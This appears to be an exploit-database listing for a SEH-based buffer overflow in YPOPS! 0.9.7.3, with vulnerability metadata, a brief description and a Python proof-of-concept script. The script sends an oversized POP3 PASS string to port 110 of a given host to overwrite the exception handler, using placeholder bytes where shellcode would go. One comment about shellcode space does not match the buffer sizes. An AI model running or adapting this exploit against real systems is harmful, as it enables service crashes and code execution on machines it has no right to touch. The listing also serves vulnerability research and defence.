YPOPS! v 0.9.7.3 Buffer Overflow (SEH)

vendor:

YPOPS

by:

Blake

9,3

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: YPOPS

Affected Version From: 0.9.7.3

Affected Version To: 0.9.7.3

Patch Exists: NO

Related CWE: N/A

CPE: a:ypops:ypops:0.9.7.3

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP3

2020

YPOPS! v 0.9.7.3 Buffer Overflow (SEH)

YPOPS! v 0.9.7.3 is vulnerable to a buffer overflow vulnerability due to improper bounds checking of user-supplied input. An attacker can exploit this vulnerability by sending a specially crafted payload to the vulnerable application. This can result in arbitrary code execution in the context of the application.

Mitigation:

Ensure that user-supplied input is properly validated and sanitized before being used by the application.

Source

Exploit-DB raw data:

# Version:0.9.7.3
# Tested on: Windows XP SP3

#!/usr/bin/python
# All modules are SafeSEH protected in service pack 3.


import socket, sys

print "\n ========================================"
print "  YPOPS! v 0.9.7.3 Buffer Overflow (SEH)"
print "  Proof of Concept by Blake  "
print "  Tested on Windows XP Pro SP 3 "
print " ========================================\n"


if len(sys.argv) != 2:
    print "Usage: %s <ip>\n" % sys.argv[0]
    sys.exit(0)

host = sys.argv[1]
port = 110

buffer = "\x41" * 1663
buffer += "\x42" * 4               # next seh
buffer += "\x43" * 4               # seh handler
buffer += "\x44" * 2000        # 136 bytes of space for shellcode

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect = s.connect((host,port))
    print "[+] Connecting to server...\n"
    s.recv(1024)
    s.send('USER blake\r\n')
    s.recv(1024)
    print "[+] Sending buffer\n"
    s.send('PASS ' + buffer + '\r\n')
    s.recv(1024)
    s.close()
    print "[+] Done.\n"
except:
    print "[-] Could not connect to server!\n"